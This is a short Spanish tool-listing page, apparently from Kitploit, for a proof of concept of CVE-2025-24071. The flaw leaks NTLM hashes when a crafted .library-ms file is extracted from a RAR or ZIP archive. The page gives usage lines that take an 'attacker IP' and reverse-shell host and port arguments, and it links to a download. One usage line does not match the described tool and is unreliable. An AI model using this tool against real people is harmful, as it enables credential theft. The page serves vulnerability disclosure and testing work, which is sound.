CVE-2025-24071 — Prueba de concepto para CVE-2025-24071, que demuestra la fuga de hash NTLM mediante un archivo .library-ms manipulado en archivos RAR/ZIP, lo que desencadena la autenticación SMB al extraerlos. | Kitploit

CVE-2025-24071_PoC

CVE-2025-24071: Fuga de hash NTLM a través de extracción RAR/ZIP y archivo .library-ms

Windows Explorer inicia automáticamente una solicitud de autenticación SMB cuando se extrae un archivo .library-ms de un archivo .rar, lo que provoca la divulgación del hash NTLM. El usuario no necesita abrir o ejecutar el archivo; simplemente extraerlo es suficiente para desencadenar la fuga.

uso


>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

actualización:

Actualización: Microsoft ha cambiado su número de CVE. El número de CVE previamente definido por Microsoft, CVE-2025-24071, ha sido actualizado a CVE-2025-24054.🤷‍♂

Descargar herramienta